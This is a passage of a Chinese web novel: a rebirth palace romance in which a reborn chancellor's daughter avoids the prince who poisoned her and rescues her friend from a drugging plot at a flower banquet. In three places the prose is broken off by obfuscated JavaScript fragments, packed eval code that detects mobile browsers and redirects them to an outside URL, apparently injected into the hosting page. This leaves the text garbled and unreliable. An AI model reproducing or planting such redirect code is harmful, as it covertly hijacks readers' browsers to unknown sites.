《明月镜无瑕》 1. 重生 揽玉阁。 阁楼之上,沉木香气四散开来,氤氲了整间屋子,熏得人头昏脑胀。 “……” 屏风后的软榻上,斜倚了一个女子,一身苏绣月华锦衫,肤白胜雪,眉目如远山青黛,此刻没骨头似地,用手托着脸,支着身体,忽地惊叫一声。 好看的眉头倏然皱起,像是梦到了什么,下一瞬,缓缓睁开了眼睛。 莲玉荇茫然,愣了片刻,直起身子,仔细观察了四周,水墨山水画、琉璃盏……全是熟悉的布置。 她怎么会在这儿?按常理来说,她此刻应当在皇宫之中,而不是在丞相府。 莲玉荇思绪百转千回,而后终于认清了一个令人难以接受的事实。 所以她这是……重生了?! 一想起死前种种,莲玉荇姣好的脸都扭曲了一瞬,那如附骨之疽的疼痛现在还能感觉到几分。 “朕与皇后莲氏夫妻相安八载,今感不测,不忍皇后一人独留于世间,特赐鸩酒一杯。” 她和贺砚随相伴八载,从王府到偌大的皇宫,经历多少颠沛。 到头来,留给她的只有一杯鸩酒。 起初她是不信的,但是圣旨上熟悉的字迹,不能作假的圣印,无一不在打碎她的信任。 毒酒入喉,多年夫妻情分,尽数化为飞灰。 她死在春日,狼狈不堪。 呵…… 到死也要让她“殉情”么,还真是鹣鲽情深。莲玉荇扯了扯唇角,露出嘲弄之色。 雕花木门发出“咚咚”两声,打断了莲玉荇飘飞的思绪,“小姐,小姐,可曾醒了?常安侯夫人送来拜帖,邀请各位世家公子小姐前往常安侯府赏花。” 常安侯夫人素来爱花,但从未如此大张旗鼓过,此番邀请世家公子小姐前去,只能是醉翁之意不在酒。 莲玉荇伸出手指,随意拨弄了几下桌上的花,前世她前去参加过,自然知道常安侯夫人的用意—— 替自家小侯爷席凝寻一门好亲事。 想到此处,莲玉荇手上动作一顿,低眉敛目,忽然没了兴致,十分倦怠。 前世,她就是在常安侯府的宴会上遇到了贺砚随,此后跟在他身边,出谋划策,助他登上九五尊位。 此后种种孽缘,都由此开始。 而今她重活一世,断然要离这狼心狗肺的黑心端王贺砚随远远地,绝对不能再重蹈覆辙。 门外的妙青还在等莲玉荇的答复,没得到回应,以为她家小姐又重新睡过去了,打开门正准备进屋,屋内有了动静。 “小姐……”妙青讶然。 “你替我回绝了,就说我身体不适,不便出行。”莲玉荇的声音从房间内传来,听得不甚清楚。 妙青嘴唇微张,以往这些宴会,小姐大都接下拜帖,就算不是真心实意,也要走个过场,装装样子。 今日这是怎么了?妙青有点莫名,但还是依照莲玉荇的吩咐去做。 妙青的身影越来越远,莲玉荇虚按了一下额头,觉得有些疲累,重新躺回软榻,准备小憩一番。 只是闭上眼,脑袋便如浆糊一般,搅得她心神不宁,不可控制地想起了一些事情。 前世她被赐死,所谓树倒猢狲散,作为皇后母家的丞相府,可以想见,是何等惨状。 她的父母、兄长,在得知她死讯时,是何等悲恸,何等凄然。 垂在身侧的手指微微蜷起,莲玉荇长睫翕动,模样很是不安。 不对……不对…… 就算重来一世,就算她避开了端王,难保不会有人觊觎丞相府。 莲丞相在朝堂上树敌颇多,莲玉鹤此前连中三元,不知招来多少红眼,后被昭文帝下放到河西郡做了郡守,这才平定了一些人的念想。 所以,她不仅要远离端王,还要多做谋划,保丞相府安危。 莲玉荇隐隐有了一个念头,扬声:“来人!” 有下人匆匆站到门口,听候吩咐,“去找妙青,让她把拜帖接下罢。” 下人应声去了。 莲玉荇依稀记得景王也会参加赏花宴,他与端王乃是胞弟,素来不和,性情温润纯良,有手段却又不软弱,是莲玉荇合作的首选之人。 就算之后贺砚随要对她下手,断然得顾忌一下这层关系吧。 不过这次,她不要这皇后之位,只要…… 这般想着,莲玉荇眉目间的愁绪散了几分。 ** 暮色四合,下人来请莲玉荇用膳,走过亭台楼阁,穿过回廊,很快就到了正厅。 莲丞相和莲夫人端坐上首,莲玉荇隐约看到他们交谈甚欢,只是隔得远听不清说什么。 再次见到熟悉的脸,她还是不由得愣了几息。 看到莲玉荇来了,莲丞相收敛了外放的神情,但眼底的关心藏不住,莲夫人唇角绽开笑意,刺得她心底发颤。 “阿荇,我听下人说你睡了一晌午,就连赏花宴也不想去了。”莲夫人眉眼带笑,打趣了莲玉荇一番。 莲玉荇脑袋现下有点迟钝,被莲夫人带着往桌旁坐下,见她呆愣愣的模样,莲夫人用手在她头上点了点。 “我看你是睡过头了,还是好好去参加赏花宴,改一改你这懒散的毛病!”莲夫人嗔怪道。 莲玉荇下意识摸了摸自己的头,随后放下手来,不好意思地笑笑。 莲丞相看她们母女俩笑闹,莞尔:“先吃饭。” 莲丞相道:“常安侯夫人送来拜帖,你便去看看,世家公子小姐总要结识一些,以后的路才好走。” “全听父亲的。”莲玉荇嘴上应着,心里却不以为意,世家公子小姐上赶着结识她。 这不过是莲丞相打发她出门的借口罢了。 “你哥哥在河西郡的任期将至,过不了几个月就会回京述职。”莲夫人往她碗里夹菜,“年纪也老大不小了,是该找个好人家婚配了。” 莲玉荇味同嚼蜡,碗里的菜也不香了。 莲夫人看她这副样子,道:“还有你,赏花宴上世家公子众多,好好相看。” 不管莲夫人如何舌灿莲花,她心里只有一个想法,那就是远离端王。 莲玉荇面色如常,点头应声,吃完饭就带着妙青出来门。 京都繁华依旧,街道纵横交错,摊贩叫卖声不绝于耳,各种小玩意数不胜数,叫人看花了眼。 莲玉荇没什么心情,只随意走着,妙青跟在她身后,“小姐,难得出来一趟,不去去做几套新衣裳,都快入夏了,您先前穿的衣裳也过季了。” “那便去看看。”莲玉荇回过神,四处看了看,抬脚进了京都有名的成衣铺子。 掌柜原本正在算账,一抬眼,发现丞相府的千金小姐竟然驾临,赶忙收了账本,抬脚上前招待。 “莲姑娘,大驾光临,有失远迎。”掌柜笑得谄媚,“前几日新进了几匹布料,姑娘不妨看看。” 莲玉荇神色淡淡,跟着掌柜去挑布料,忽听得一帘之隔,有几人在窃窃私语,谈论的主人公正是景王和端王两位王爷。 眉眼微动,手上的动作也停住,莲玉荇仔细地听着。 “前几日,景王在府内设生辰宴,邀请了许多达官贵人,却独独没有邀请胞兄端王。” “虽没被邀请,但端王命人备了一份生辰礼送去,景王不知道怎么了,发了好大的火气,让人把端王的生辰礼扔出去了!” “啊……这不是在打端王殿下的脸面!好歹是同胞兄弟,怎么闹成现在这样。” “谁知道呢?皇家秘辛怎么是我们能接触到的。” …… 端王和景王自幼不和,像这样的事情数不胜数。 莲玉荇前世虽然嫁给贺砚随为妻,但和这位景王接触不多,对他的了解也止步于性情温润纯良,有手段不软弱。 至于他们兄弟俩闹掰的原因,她也不是很清楚,依稀知道是和他们的母妃有关。 而且贺沅安和贺砚随长得一模一样。 “他们一母同胞,生辰之日不都是一天吗?”帘后的人发问。 听到这儿,莲玉荇脸色微变,贺砚随从不过生辰。 她也不知道自己为什么会想这么多,但脑海里关于贺砚随的东西丝丝缕缕藏在记忆里,割不断,烧不尽。 似乎是发觉她脸色不对,妙青试探性地叫她,“小姐,你没事吧?” “……没事。” 莲玉荇满心疲累,随手挑了几个颜色的布料,让掌柜拿去,带着妙青出了成衣铺。 既然她决心远离贺砚随,那过往的种种都得抛之脑后,不可再想。 他们兄弟不和更好,就更方便她从中运作,谋划自己想要的东西。 只是,景王行踪不定,平日里递到府上的拜帖也大都退了回去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430436|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 除了几天后的赏花宴,莲玉荇几乎找不到什么见他的机会。 无碍,万事急不得。莲玉荇这般想。 ** 长安街是京都最繁华的街道,人来人往,酒楼之上宾客满座。 莲玉荇四处逛逛,买了些零碎的小东西,簪钗口脂,还有寻仙楼的桂花糕。 日头降下来,妙青看出自家小姐无意归家,还未等说些什么,莲玉荇便遣她先行回去。 “放心,再过半个时辰我便会回府,若那时我还没回去,你再带人来找我也不迟。”说完,莲玉荇便转身离去。 莲玉荇心烦意乱,回了家不免被莲丞相莲夫人抓着唠叨一顿,从前这些事从来轮不到她头上,现在她哥哥在河西任职,便轮到她了。 莲玉鹤的任期还有四五个月,她倒是希望他快点回来了。 远在河西郡的莲玉鹤喷嚏震天响,没了往日的翩翩风度,只当是自己连日劳累,丝毫没想过是亲妹妹在念叨自己。 走了小半个时辰,莲玉荇微微有些气喘,抬起头才发现走到了一个陌生的地方。 不远处一座红楼矗立,天色暗了下来,灯火也连绵不断,花花绿绿的绸缎勾勒出一种奇怪的氛围,还隐约夹杂着姑娘黏黏腻腻的声音。 这是…… 莲玉荇眼睛圆睁,好像终于知道这是什么地方。 她这是到了京都有名的勾栏之地春风楼。 莲玉荇两辈子没去过这种地方,耳濡目染知道一些,想着她一个未出阁的姑娘在这里也不太好,刚想离开,就听到巷口传来一阵重物落地的声音,生生停住了脚步。 “新到的货还不错,待会儿让云娘验一验,应该能赚不少钱。” “长得尚可,整个人柔柔弱弱,我都舍不得了。” “哈哈哈哈哈……还有你舍不得的姑娘,那必然是美人。” “不如我们……” 几个人不约而同笑起来,笑声恶心又油腻,莲玉荇下意识握紧了手,若是待会儿他们存心做不轨之事,她就赌上一赌。 细弱的哭声传到莲玉荇耳朵里,她身体微僵,从袖口拿出帕子,把容貌遮住。 忽然,巷子里骚动起来,似乎是打起来了。 莲玉荇低头看了看自己的手掌,她虽学过一点防身之术,许久没用,不知道荒废没有。 对上这么多人,她可真是一点胜算都没有。 待她想想,如何做才好…… 还没等她想清楚,那几人好像停了下来,巷子里寂静得可怕,似乎在酝酿着什么。 莲玉荇正准备探出头去看,一道高大的身影闪进巷子里,是个男子。 四目相对间,两人都看出了对方的震惊。 “娘的!哪里来的狗东西,抢了老子的货,还敢打老子。” “疼死老子了!我跟他拼了!” “朝前面跑了,赶紧追!” …… 杂乱的脚步声、叫骂声响起,莲玉荇盯着面前的人,嘴唇微微张大,什么话也没说出来。 眼前的男人,一身紫青祥云袍,腰上坠着如意环佩,整个人贵气十足。 此刻眉头微皱,气息稍有些不稳,害怕她乱叫惹来麻烦,宽大的手掌不轻不重盖住她小半张脸。 莲玉荇眼底的震惊掩盖不住,这张脸…… “得罪了。”男人低低在她耳边说话,温润动听,与记忆中的声音不尽相同。 身上的熏香清新,不是寻常的檀香,倒像是菖蒲香。两人靠得近,大片香味笼罩在莲玉荇身上,让她也清醒镇静了一些。 莲玉荇心底稍安,他不是端王,而是景王贺沅安。 等到外面彻底没了动静,男人松开手,拉开两人的距离,拱手道谢:“方才多谢姑娘。” 莲玉荇鼻尖依旧有那股菖蒲香气,挥之不去,她端庄一笑,“景王客气了,既然事情已经解决,时辰也不早了,玉荇就此告退。” 景王府邸离这里不远,不消半柱香就能到,她也识趣地没多问,景王为什么会在这儿。 被叫做“景王”的男人沉吟片刻,眸光微闪,道:“姑娘路上小心。” 莲玉荇欠身,出了巷子,刚好遇到前来寻她的妙青,眼神十分幽怨。 说好半个时辰,现在都一个时辰了。 莲玉荇莞尔,回头看了一眼,却发现那人已经不见了踪影。 2. 华筵 天气渐渐热了起来,房内多了一些纳凉的冰块,丝丝缕缕的凉意扑面而来,莲玉荇恨不得时时刻刻待在房中。 但长久待在室内,不见阳光,就是再惫懒的人,也觉得受不了了。 莲玉荇念起好友丛云,便派小厮往丛府递了拜帖。重生这段时间,她还不曾见过丛云,也是时候该见一面了。 丛家是末流的世家,只是嫡女与丞相之女自幼交好,沾了不少面子,在京城里也能叫上号。 莲玉荇从来不以门第论人,不然她和丛云也不会关系匪浅,情同姐妹。 京都的世家公子小姐,也顾忌着她的身份,不敢纠缠打压丛云。 此次的赏花宴,听说常安侯府也往丛家递了帖子。莲玉荇心里一时有种难以言说的感觉。 还未到丛府门口,丛云就已经带了随从在门口等着。远远地见她们来了,露出一抹笑意,上前捉住莲玉荇的手臂,“阿荇!你来便来,何须送拜帖来。” 莲玉荇被她带着往府里走,笑意盈盈,“怕你不在府上,扑了空,所以遣人送了拜帖来。” “走罢,我备了你喜欢吃的茶点,我们好久没见,今日畅快聊聊。”丛云笑笑。 待坐定,莲玉荇不着痕迹,用眼神在丛云脸上描摹了一番,原本有些沉闷的心情也缓和了不少。 丛云去年刚及笄,比莲玉荇小了三岁,一张脸显得幼态,眼睛又大又圆,笑起来的时候勾人心魄,也是美人之姿。 身上的桃色罗衫,是莲玉荇去年送她的及笄礼物,现下已经不是时兴的衣裳,但架不住丛云喜欢,时常穿在身上,旁人也劝不动。 莲玉荇道:“常安侯夫人送出的拜帖,你可收了?” “自然收了。”丛云放下手里的茶点,自嘲:“以我的身份,常安侯夫人肯送来拜帖,已是抬举,我若是不接,倒显得我不识好歹了。” 莲玉荇脸色变了几分,不过并未让丛云察觉。 前世丛云同她一起参加常安侯府的赏花宴,宴席还没到一半时辰,丛云便神色仓惶,匆匆离去。 她去丛府找了几次,丛府之人一改往日的态度,硬拦着她不让进门,因而她几次三番前去,也没能见到丛云。 下人只说小姐抱病,但具体什么病症,就不得而知了。 后来,丛云便被父母做主,嫁给国公府世子为妾。 莲玉荇和丛云相识多年,自然知道丛云不会喜欢那荒淫无度的草包世子,也断不会甘心做妾,想来其中有什么她不知道的隐情。 她觉得蹊跷,派人暗中查探,却是丝毫蛛丝马迹都没有。 她也曾问丛云是否真心嫁人,丛云脸色未变,只道:“我是真心嫁与世子,阿荇不必忧心,也……不必再问。” 莲玉荇遵从她的心意没再多问。 再后来,她入主中宫,却得知丛云自绝而死,留下一个嗷嗷待哺的孩子。 握着茶盏的手指用力,有些泛白,莲玉荇眼底浮浮沉沉。现在想来,其中必然发生了什么,让丛云不得不嫁为人妇。 而一切的关键…… 就在这赏花宴之中。 “阿荇,阿荇!”丛云连声叫她,看到莲玉荇回过神来,笑道:“在想什么呢?这么入神。” 莲玉荇摇摇头。 丛云:“这糕点是我特地派人去寻仙楼买来,你快尝尝。” “……好。”莲玉荇不动声色接过糕点,轻咬了一口,唇齿留香,还是从前的味道。 “不错。”莲玉荇颔首道。 “明日就是赏花宴,我顺路来接你,我们一起去罢。”莲玉荇看着丛云的脸,轻声道。 从丞相府到丛府,压根不顺路,反而要绕个大圈子。 但丛云隐约觉得莲玉荇情绪不对,顺着她的话应了。 她眉头一挑,“好,都听你的。” ** 常安侯夫人送出的拜帖不少,京都之中称得上名姓的世家公子小姐不少。 莲玉荇和丛云到的时候,门口已然挤着不少人。 进了府邸,有专人把客人领到后院,女客被安排在南边院落,男客则被安排在北边院落,中间相隔甚远。 赏花之地,就在后院园子里,上面有观景楼阁。 莲玉荇和丛云来得晚了,宴席间已经坐满了人,莲玉荇放眼看去,几位尚书之女,还有一些生面孔。 落了座之后,莲玉荇给丛云拿了一些点心,让她先垫垫肚子。 斜侧忽然传出一声轻嗤,莲玉荇耳朵灵,那声音传入她耳朵里,颇让人不爽。 “不愧是小门小户出身,这么隆重的宴会也敢姗姗来迟,叫在场诸位等你,真是好大的威风。” 尖酸刻薄的话一出,丛云脸色倏然白了,捏紧了手上的绢帕。莲玉荇手上动作一顿,眼神变得冰冷。 说话的人面生,身穿鹅黄色罗裙子,脸上满是倨傲。 莲玉荇当然知道她这话意有所指,看似在说丛云不讲规矩,实则拐着弯骂她这个丞相府小姐。 她毕竟是丞相府嫡女,旁人不敢造次,只敢在丛云身上做文章。 “哼。”莲玉荇原本心情不错,偏有人上赶着找茬,“赏花宴可曾规定时辰?这位小姐大可像我们一样,稍来晚些,而不是在背后嚼舌根,指桑骂槐。” 那人面色青白,似乎是没想到莲玉荇会当着这么多人的面回击,憋屈地闭上了嘴。 有毛病。莲玉荇面上不显,心里却不爽,暗骂了几句。 宴席上一下子安静了下来,女客们各自饮酒喝茶,仿佛刚才的一幕没发生过一样。 “阿荇……”丛云小声叫了她一声。 “怎么了?”莲玉荇附耳过去,就听丛云说,“你方才反呛回去,往后流言不知道传成什么样,必定会说你恃宠而骄,仗着身份欺负人。” 莲玉荇当然知道,京都世家,最擅长的就是造势。 “无妨,她们想说便说。” 这下丛云也无话可说,安安静静坐在边上,端得是娴静优雅。 “啊!你干什么?!” 喧闹声四起,世家小姐们没了方才的端庄,一个个惊叫着四处奔逃,像是看到了什么惊惧之物。 莲玉荇她们坐得远,一时间不知道发生了什么事情,等到人群散开,才发现有一个衣着华贵的男子闯入了女客坐席。 莲玉荇认得,来人正是国公府世子温叙,上一世娶了丛云的人,她下意识戒备起来,伸手紧紧握住了丛云的手。 温叙面色潮红,眼神迷离,已经喝得上头了,盯着一众女客,意味不明笑笑,开始四处抓人。 不知道还以为,这是温国公府。 女客们到处乱跑,场面混乱不堪,而常安侯府上也没人出来制止,大概也没想到温叙竟然会这么放肆。 莲玉荇眉头紧皱,眼看着温叙往他们这边来,四周的人无动于衷,冷眼瞧着。 温叙盯着她们,或者说盯着莲玉荇的脸,视线聚焦,痴痴笑着,“美人,好美的人儿……不如跟我到客房去,共赴巫山云雨……” 温叙这番话属实是大胆,在场的女客全是未出阁女子,脸庞、耳朵蹭地红了。 “温叙,你怎得这番不知礼义廉耻?” 莲玉荇活了两辈子,不会因为这种话乱了心神,她带着丛云退后两步,冷冷斥道:“你好好睁开你的狗眼瞧瞧,现在你面前的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又有人开口:“今日景王怎么没来……”话还未说完,便被旁边人捂住,看向贺砚随的眼里充满惊惧之色。 酒杯被重重放在桌上,贺砚随突地站起身,吓了众人一跳。 还未等说什么,贺砚随便离席了。 “景王和端王素来不和,你怎么敢在他面前说这些。” “……” ** 酒意上头,微微有些燥热,贺砚随眼底清明,顺着青石板慢行到湖心亭,靠在护栏边闭目养神。 不到片刻,贺砚随睁开眼睛,眼眸幽深,透着警惕。 远处密竹林里竹影摇晃,人声切切。 “今日她在众人面前将你颜面扫地,你也忍得下这口气吗?”是个女子的声音。 “你有办法?” 贺砚随眉心皱起,温叙方才在女客院落里闹了一通,不是被送到客房了,现下怎么出现在这儿。 “我既来找你,自然是有了主意。”女子声音顿住,“莲姑娘身份尊贵,世子若是做了什么,丞相必定不会放过世子,不如便在丛家那位下手。” …… 这些宵小之辈,果真手段狠辣。贺砚随眼底满是倨傲,看着两人离开的方向,像是看死人一般。 等到贺砚随返回坐席,赏花宴已经开始了,女客们赶到观景楼阁,男客们丛另一侧上了阁楼。 贺砚随落在人群后面,正准备上楼,忽然觉得有视线落在身上。 他心有所感,抬起头往阁楼上看去,正好对上一双潋滟的眼眸。 3. 错认 随着更钟被敲响,赏花宴便正式开宴,常安侯夫人说了几句场面话,让宾客自便,便退了,留下小侯爷宴客。 小侯爷席凝早已及冠,现下一袭紫袍,俊美华贵,吸引了不少姑娘的视线。 见旁边人这副模样,莲玉荇好奇地瞧过去。 一群人把他围得水泄不通,小侯爷看上去很不适应这样的场合,面皮都红了几分。 果然是翩翩少年模样。 似乎察觉到她的视线,小侯爷远远看过来,正对上莲玉荇的眼睛,双方都愣了一瞬。 莲玉荇率先移开眼,不自在地看向阁楼下面,好巧不巧又撞上一双熟悉的眼睛。 原来贺沅安在这儿。 刚才她在四处找了他很久,却没有找见他的身影,原来是还没入席。 莲玉荇思绪纷飞,等回过神来,贺沅安已经不见了踪影。 因为赏花的世家公子小姐都聚集在阁楼上,莲玉荇刚想离开,却又被人挤了回去,身上的玉饰叮当作响。 好在,莲玉荇远远看到贺沅安坐在角落饮酒,心下稍安,费尽力气挤了出去。 一边在心里感叹真是热闹,一边往贺沅安在的方向走去,快要接近的时候,脚步却停了下来。 贺沅安是贺砚随的同胞兄弟,样貌几乎是一模一样,连她看了也屡屡恍神,生出一丝退却之意。 好像。莲玉荇这般想着,发现原先正在饮酒的贺沅安似有所感地抬起头,锐利的视线投射过来。 莲玉荇身体一僵,旋即端起酒杯往贺沅安所在的位置走去。 她在贺沅安面前站定,“我与景王殿下颇为有缘,敬您一杯。” 莲玉荇等了半晌,贺沅安好似受了什么刺激,脸色变得十分难看。 ** 贺砚随无心赏花,也不想与一众世家公子小姐挤来挤去,上了阁楼之后,就缩到角落里喝酒。 他从人群中找到那个熟悉的纤细的身影,眼睛微眯,若有人看见,定然会为里面的戾气惊骇不已。 还没等他收回视线,莲玉荇便搜寻到他的所在,往他这边走来。 贺砚随不动声色,饮下酒水,喝得急,有一些顺着嘴角流到脖颈,随后隐没在更低的地方。 只是,在听到莲玉荇那句话时,隐藏许久的戾气骤然翻涌,几乎要吞没面前的人。 莲玉荇好似被吓了一跳,下意识往后退了几步。 呵,就这么怕他。贺砚随心里嗤笑,第一次见面把他错认成贺沅安就算了,第二次竟然还未认出他。 贺砚随眸子里情绪翻滚,半晌,手腕微抬,轻轻碰上莲玉荇手上的酒杯,发出清脆响声,有不少酒水溅出。 “贺沅安”一番动作实在反常,莲玉荇心里惊疑不定,一时间不知道是该走还是留下。 两人一个站着,一个坐着,莲玉荇看似居高临下望向“贺沅安”,实则局势全然被对方操控,实在令她招架不住。 “莲姑娘逢人都说一句有缘么。” 久未开口的人扯了扯嘴角,说出的话落在一片嘈杂中不甚清楚,莲玉荇精准捕捉到“有缘”二字,莫名想起前世也是在常安侯府,她也对贺砚随说了这么一句话。 贺砚随那时被朝臣拥蹙,风头正盛,对人对事总保持着一定的距离,对待她却有些不同。 酒杯中的酒水因为碰撞轻颤,带动莲玉荇的手也细微颤动起来,她不动声色盯着面前的人看,终于在细微当中发现不对劲。 面前的男人眉眼冷峻,不似传说中的温润随和,动作间,莲玉荇依稀看见男人耳后的一颗黑色小痣。 ……贺砚随?! 莲玉荇心中大骇,几乎忍不住拔步而逃。 难道上次寻仙楼外见到的人,是端王贺砚随? 再是这次她又将景王认成了端王,怎么看都像是贺砚随故意为之。 莲玉荇思绪混乱,贺砚随是想再杀她一次吗。 她转念一想,自己已经重生,贺砚随未必会有前世的记忆,况且现在她还未嫁给贺砚随,不用如此惊惶不定。 她稍稍冷静几分,竭力稳住呼吸,“端王好酒量,我一时眼拙,竟然认错了人,还请王爷勿怪。” 莲玉荇一边说话,一边暗自打量着贺砚随的神情,发现他冷哼一声,除此之外并没有什么异常行为。 想来大约是因为她将景王和端王认错,惹了贺砚随不高兴,才对她出言讥讽。 莲玉荇抬眼,将酒杯往贺砚随的方向举了举,以表歉意。 贺砚随垂下眼睑,很是淡漠,“莲小姐下次还是擦亮眼睛,别把本王认成其他一些不三不四的人。” 不三不四?是指贺沅安么。 莲玉荇心道,贺砚随这么讨厌贺沅安,她必定要和贺沅安达成合作,求一道保莲家上下安稳的“免死金牌”。 莲玉荇缄默不言,贺砚随也没了说话的兴致,美酒佳酿一杯杯喝下肚,全然没有什么滋味。 他哪里看不出来,莲玉荇对贺沅安怀有心思,苦心积虑寻找机会相处,没想到贺沅安今日没来,扑了个空。 什么前世夫妻,天地流转,什么情分都忘得一干二净。 莲玉荇你真是好狠的心。 贺砚随望着那张姣好的脸,恨得咬牙切齿,眸中恨意浮浮沉沉,前世他被设计得死无葬身之地,今世也该让她尝尝这痛苦的滋味。 ** 回廊亭。 宴会开始不过半个时辰,丛云便觉得胸闷气短,呼吸间都是燥热,她心里隐约察觉到不对劲,带着随身婢女到了亭子处休息,才将将缓过来了几分。 婢女端来水,往丛云身上披了件衣裳,“晚上风凉,莲姑娘吩咐奴婢小心照看小姐,要是着凉了,奴婢可担待不起。” 丛云知道莲玉荇对她的好意,大概是因为方才国公府世子温叙对她们不敬,所以才会吩咐婢女寸步不离跟着她。 宾客全在前厅,她们现下在回廊亭,四周无人,想来也不会有人这么不识好歹,敢来冲撞客人。 丛云抬眼瞧了瞧一片暖黄灯光,心下放松了一些。 过了片刻,石子路有了声响,来人低眉敛目,看不清面庞,低声说道:“丛姑娘,莲姑娘方才在前院找不到您,便派小的来接您,说是在后院客房等候。” “好,我跟你去一趟。”丛云站起身,方才出来的时候也没跟莲玉荇说一声,现下应该着急了。 “莲姑娘只吩咐我带姑娘过去。”言外之意就是,婢女不用守在身边。 脚下一动,婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430438|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女便支支吾吾起来,有些犹豫,“可是……” 莲小姐分明让她不准离开半步,现下这是什么意思。 丛云眉眼微皱,随后又舒展开,“既然是玉荇要求的,我去一趟,你便去前厅等着我。” “是。” …… 青石板路蜿蜒曲折,拐过弯就踏上了坑坑洼洼的石子路。 周围的暗色越来越深,那人并未掌灯,四下什么都看不见。 丛云心口登时狂跳起来,脚步停住不再往前一步,开口斥道:“你要带我去哪儿?这不是往后院客房的路!你到底是谁?!” 前面的人也停下了脚步,顿了一会儿,转过身,朝丛云缓步走去,只是面色和语气不见和善。 “去哪儿?”那人嗤笑,猛地伸出手蒙住丛云的口鼻,“待会儿你就知道了!” “呜呜呜……”丛云挣扎几下就没了动静,拖拽中绣鞋滚落在地上,孤零零的。 ** 前厅。 莲玉荇原本是想从贺砚随口中试探一下贺沅安的消息,但没想到心情不爽利的贺砚随更是黑了脸,一言不发。 气氛实在压抑,莲玉荇看着不远处的贺砚随,有些气闷。 前世就是贺砚随下旨意让她陪葬,怎么重来一世还得受气,她不干了。 莲玉荇忽地站起身想走,远远看到丛云身边的婢女跌跌撞撞往这边跑,暗道不妙。 还未等走出几步,人群却一窝蜂聚集起来,有人边跑边喊,“昙花开了!” “啊!月下美人!” “快看!” “几十年难得一见的月下美人,今日竟然开了,诸位真是好运气!” 吵嚷声纷乱不堪,莲玉荇被人挤来挤去,死活出不去,对上婢女无助的眼神,只能干着急。 方才她往四周看了看,没有丛云的身影,该不会出什么大事了吧。 莲玉荇心急如焚,用尽全身力气往前推了推,反被推了回来,脱力地往后退了几步,撞上温热坚实的胸膛。 身后,贺砚随满脸不耐,手上拢着被挤过来的莲玉荇,动作下意识轻柔了不少。 “带我出去。”莲玉荇发话。 贺砚随眼眸幽深,竟然敢使唤他,胆子真是大了不少。 想归想,贺砚随知晓莲玉荇此时应当心急如焚,施展轻功退出人群。 众人视线全放在盛开的昙花身上,没人关注他们这边。 莲玉荇脚刚落地,立刻拉开了和贺砚随的距离,丝毫没看到贺砚随铁青的脸色和变换的眼神。 “莲小姐不好了,我家小姐被人带走了!”婢女抽泣道。 莲玉荇心下一凉,瞬间联想到什么,难道是温叙放在调戏不成,又想毁了丛云的清白。 不……不行…… 重来一世,她不可能让悲剧再次重演。 手上用力攥紧,指甲嵌进肉里,生疼,但也唤回了莲玉荇的理智。 “他们往哪边走了?”莲玉荇依稀觉得自己的声音在颤抖。 “奴婢听那人说了一嘴,好像是后院客房。”婢女赶紧回答。 莲玉荇正准备往后院去,一声高亢的喊声传来—— “不好了!快来人,后院客房出事了!” 4. 清白 浑身血液瞬间冰冷下来,莲玉荇身形一晃,似乎受到的打击不小。 前厅正在赏花游园的宾客显然也听到了呼喊声,纷纷停下手里的动作,围拢过来,每个人神色各异,幸灾乐祸、担忧…… 任谁不得说一句,今日真是不得太平。 报信的人是常安侯府的下人,哪里见过这么大的阵仗,脸色白了又白,还是莲玉荇提醒,才想起正事,带着一行人匆匆赶往后院客房。 莲玉荇不知道自己是怎么走到客房的,一路上她脑海里闪过千百种设想,在踏入客房的时候,一颗心才真正放了下来。 客房内,穿着华贵的男子被缚了手脚跪在地上,狼狈不堪。 是方才在宴席上撒泼的温叙。 他挣扎着想站起身,因为酒意又跌落在地,嘴里骂骂咧咧。 丛云端坐着,浑身上下看不出什么伤,只是发髻些许凌乱,此刻她没管门口看热闹的众人,眼神凌凌盯着地上跪着的人。 “丛云。”莲玉荇快步走到丛云面前,瞥见丛云旁边的黑衣女子,愣了愣,这不是贺砚随身边的暗卫迎月吗? 难道是贺砚随的手笔?莲玉荇脑海里忽然涌现出这样一句话。 不过很快莲玉荇否决了自己的想法,相伴半年,她知晓贺砚随不是那种人,不会用这么卑劣的手段来毁掉一个闺阁女子的清白。 况且现在她和贺砚随只能算是萍水相逢,贺砚随没理由这么做。 而此刻温叙出现在这里,已经说明了很多事情。 莲玉荇收回视线,伸手拉住丛云的手,问道:“阿云没事吧?” 丛云摇了摇头,安抚似地拍了拍她的手,示意莲玉荇安心。 半个时辰前,她被地上的男人骗走,虽然察觉到不对,但还未等她反应过来,就被迷晕过去,醒来自己便身处客房之中。 自救无果,便见温叙推门而入,意图对她行不轨之事。 丛云现在想起来仍然心惊肉跳,那会儿她浑身燥热,意识不清,多亏了这位黑衣女子在关键时刻救了她,要不然后果不堪设想。 “阿荇,我们应该是被温叙盯上了。”丛云凑到莲玉荇耳边低声说道,声音有气无力。 莲玉荇摸着她的手滚烫,意识到什么,顾不得想别的事情,当即遣人去找郎中来。 